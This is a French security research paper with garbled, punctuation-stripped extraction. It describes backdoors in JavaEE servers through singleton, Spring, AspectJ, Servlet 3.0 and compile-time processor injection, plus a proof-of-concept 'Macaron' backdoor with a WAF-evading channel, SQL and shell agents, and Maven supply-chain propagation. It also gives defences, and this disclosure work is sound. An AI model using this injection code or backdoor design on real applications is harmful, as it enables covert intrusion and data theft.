La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
